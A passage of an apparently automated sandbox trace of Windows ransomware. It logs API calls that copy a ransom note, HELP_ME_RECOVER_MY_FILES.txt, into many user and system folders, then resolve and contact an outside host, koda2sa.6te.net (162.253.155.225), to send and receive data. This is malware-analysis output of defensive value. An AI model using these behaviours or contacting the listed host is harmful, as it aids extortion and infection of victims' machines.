returned 0x0 [0236.326] CoTaskMemFree (pv=0x1a6017e0) [0236.326] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.328] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0236.328] CloseHandle (hObject=0x4c4) returned 1 [0236.329] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.329] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.329] CoTaskMemFree (pv=0x1a6017e0) [0236.329] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.378] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0236.378] CloseHandle (hObject=0x4c4) returned 1 [0236.379] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.379] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.379] CoTaskMemFree (pv=0x1a6017e0) [0236.380] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\locallow\\adobe\\acrobat\\10.0\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.382] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.382] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.382] CoTaskMemFree (pv=0x1a6017e0) [0236.383] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.427] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.427] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.427] CoTaskMemFree (pv=0x1a6017e0) [0236.428] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\jdBvBc6u\\i gRo1Qs_aUfCFhUTW3\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\jdbvbc6u\\i gro1qs_aufcfhutw3\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.430] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.430] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.430] CoTaskMemFree (pv=0x1a6017e0) [0236.430] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Videos\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\videos\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.432] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.432] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.432] CoTaskMemFree (pv=0x1a6017e0) [0236.432] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Videos\\GVs APi\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\videos\\gvs api\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.434] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.434] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.434] CoTaskMemFree (pv=0x1a6017e0) [0236.435] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\F xCbMG2hYCWHb\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\f xcbmg2hycwhb\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.473] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.473] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.473] CoTaskMemFree (pv=0x1a6017e0) [0236.474] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\jdBvBc6u\\5sYGtdS7JSPQo7Hb\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\jdbvbc6u\\5sygtds7jspqo7hb\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.475] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.475] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.475] CoTaskMemFree (pv=0x1a6017e0) [0236.476] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\jdBvBc6u\\F_E7YCrl80MpoD5\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\jdbvbc6u\\f_e7ycrl80mpod5\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.478] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.478] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.478] CoTaskMemFree (pv=0x1a6017e0) [0236.478] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Desktop\\DG2Yxk0zg72dqS\\aVfHDIy-j1As5C\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\dg2yxk0zg72dqs\\avfhdiy-j1as5c\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.519] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.519] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.519] CoTaskMemFree (pv=0x1a6017e0) [0236.520] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\jdBvBc6u\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\jdbvbc6u\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.522] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.522] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.522] CoTaskMemFree (pv=0x1a6017e0) [0236.523] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Documents\\Outlook Files\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\documents\\outlook files\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.525] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.525] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.525] CoTaskMemFree (pv=0x1a6017e0) [0236.525] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Access\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\access\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.527] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.527] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.527] CoTaskMemFree (pv=0x1a6017e0) [0236.528] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Media Player\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\media player\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.567] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.567] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.567] CoTaskMemFree (pv=0x1a6017e0) [0236.568] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 0 [0236.568] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.568] CloseHandle (hObject=0x314) returned 1 [0236.569] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.569] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.569] CoTaskMemFree (pv=0x1a6017e0) [0236.569] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.571] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.571] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.571] CoTaskMemFree (pv=0x1a6017e0) [0236.572] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.574] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.574] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.574] CoTaskMemFree (pv=0x1a6017e0) [0236.574] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\7W6HQAMkHdbzSf\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\7w6hqamkhdbzsf\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.576] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.576] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.576] CoTaskMemFree (pv=0x1a6017e0) [0236.576] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\EFTL7 0kDWKrzX\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\eftl7 0kdwkrzx\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.613] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.613] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.613] CoTaskMemFree (pv=0x1a6017e0) [0236.614] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\fJN0SGmqcIg3hbyrC1f\\M6SwHuuThZ2xxd8ocvI\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\fjn0sgmqcig3hbyrc1f\\m6swhuuthz2xxd8ocvi\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.616] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.616] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.616] CoTaskMemFree (pv=0x1a6017e0) [0236.617] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\XNYyUcVYPLap0\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\xnyyucvyplap0\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.618] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.618] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.618] CoTaskMemFree (pv=0x1a6017e0) [0236.619] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\fJN0SGmqcIg3hbyrC1f\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\fjn0sgmqcig3hbyrc1f\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.621] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.621] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.621] CoTaskMemFree (pv=0x1a6017e0) [0236.621] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\public\\music\\sample music\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.623] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.623] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.623] CoTaskMemFree (pv=0x1a6017e0) [0236.623] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\1fTEy\\if5to0jxN\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\1ftey\\if5to0jxn\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.625] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.625] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.625] CoTaskMemFree (pv=0x1a6017e0) [0236.625] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\3Jl74ROONucJ80fF9hA\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\3jl74roonucj80ff9ha\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0236.628] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0236.628] SHGetFolderPathW (in: hwnd=0x0, csidl=0, hToken=0x0, dwFlags=0x0, pszPath=0x1a6017e0 | out: pszPath="C:\\Users\\aETAdzjz\\Desktop") returned 0x0 [0236.628] CoTaskMemFree (pv=0x1a6017e0) [0236.628] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\desktop\\help_me_recover_my_files.txt"), lpNewFileName="C:\\Users\\aETAdzjz\\Music\\pHE9cC\\HELP_ME_RECOVER_MY_FILES.txt" (normalized: "c:\\users\\aetadzjz\\music\\phe9cc\\help_me_recover_my_files.txt"), bFailIfExists=0) returned 1 [0237.692] QueryPerformanceCounter (in: lpPerformanceCount=0x1ee0c8 | out: lpPerformanceCount=0x1ee0c8*=31853319532) returned 1 [0237.692] SetEvent (hEvent=0x4dc) returned 1 [0237.693] SetEvent (hEvent=0x4dc) returned 1 [0237.694] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4c4 [0237.695] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x314 [0237.695] GetAddrInfoW (in: pNodeName="koda2sa.6te.net", pServiceName=0x0, pHints=0x1edc98*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1edbe0 | out: ppResult=0x1edbe0*=0x1c59fbe0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="koda2sa.6te.net", ai_addr=0x1c5d8d30*(sa_family=2, sin_port=0x0, sin_addr="162.253.155.225"), ai_next=0x0)) returned 0 [0237.949] FreeAddrInfoW (pAddrInfo=0x1c59fbe0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="koda2sa.6te.net", ai_addr=0x1c5d8d30*(sa_family=2, sin_port=0x0, sin_addr="162.253.155.225"), ai_next=0x0)) [0237.957] WSAConnect (in: s=0x4c4, name=0x2956d10*(sa_family=2, sin_port=0x50, sin_addr="162.253.155.225"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0238.162] closesocket (s=0x314) returned 0 [0238.163] send (s=0x4c4, buf=0x2244e80*, len=73, flags=0) returned 73 [0238.164] setsockopt (s=0x4c4, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0238.164] recv (in: s=0x4c4, buf=0x22427a8, len=4096, flags=0 | out: buf=0x22427a8*) returned 2920 [0238.391] setsockopt (s=0x4c4, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0238.391] recv (in: s=0x4c4, buf=0x29598a8, len=256, flags=0 | out: buf=0x29598a8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x29599a8, len=256, flags=0 | out: buf=0x29599a8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x2959aa8, len=256, flags=0 | out: buf=0x2959aa8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x2959ba8, len=256, flags=0 | out: buf=0x2959ba8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x2959ca8, len=256, flags=0 | out: buf=0x2959ca8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x2959da8, len=256, flags=0 | out: buf=0x2959da8*) returned 256 [0238.392] recv (in: s=0x4c4, buf=0x295aec0, len=256, flags=0 | out: buf=0x295aec0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295afc0, len=256, flags=0 | out: buf=0x295afc0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b0c0, len=256, flags=0 | out: buf=0x295b0c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b1c0, len=256, flags=0 | out: buf=0x295b1c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b2c0, len=256, flags=0 | out: buf=0x295b2c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b3c0, len=256, flags=0 | out: buf=0x295b3c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b4c0, len=256, flags=0 | out: buf=0x295b4c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b5c0, len=256, flags=0 | out: buf=0x295b5c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b6c0, len=256, flags=0 | out: buf=0x295b6c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b7c0, len=256, flags=0 | out: buf=0x295b7c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b8c0, len=256, flags=0 | out: buf=0x295b8c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295b9c0, len=256, flags=0 | out: buf=0x295b9c0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295bac0, len=256, flags=0 | out: buf=0x295bac0*) returned 256 [0238.393] recv (in: s=0x4c4, buf=0x295bbc0, len=256, flags=0 | out: buf=0x295bbc0*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295bcc0, len=256, flags=0 | out: buf=0x295bcc0*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295bdc0, len=256, flags=0 | out: buf=0x295bdc0*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295ded8, len=256, flags=0 | out: buf=0x295ded8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295dfd8, len=256, flags=0 | out: buf=0x295dfd8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e0d8, len=256, flags=0 | out: buf=0x295e0d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e1d8, len=256, flags=0 | out: buf=0x295e1d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e2d8, len=256, flags=0 | out: buf=0x295e2d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e3d8, len=256, flags=0 | out: buf=0x295e3d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e4d8, len=256, flags=0 | out: buf=0x295e4d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e5d8, len=256, flags=0 | out: buf=0x295e5d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e6d8, len=256, flags=0 | out: buf=0x295e6d8*) returned 256 [0238.394] recv (in: s=0x4c4, buf=0x295e7d8, len=256, flags=0 | out: buf=0x295e7d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295e8d8, len=256, flags=0 | out: buf=0x295e8d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295e9d8, len=256, flags=0 | out: buf=0x295e9d8*) returned 256 [0238.395] recv (in: s=0x4c4, buf=0x295ead8, len=256, flags=0 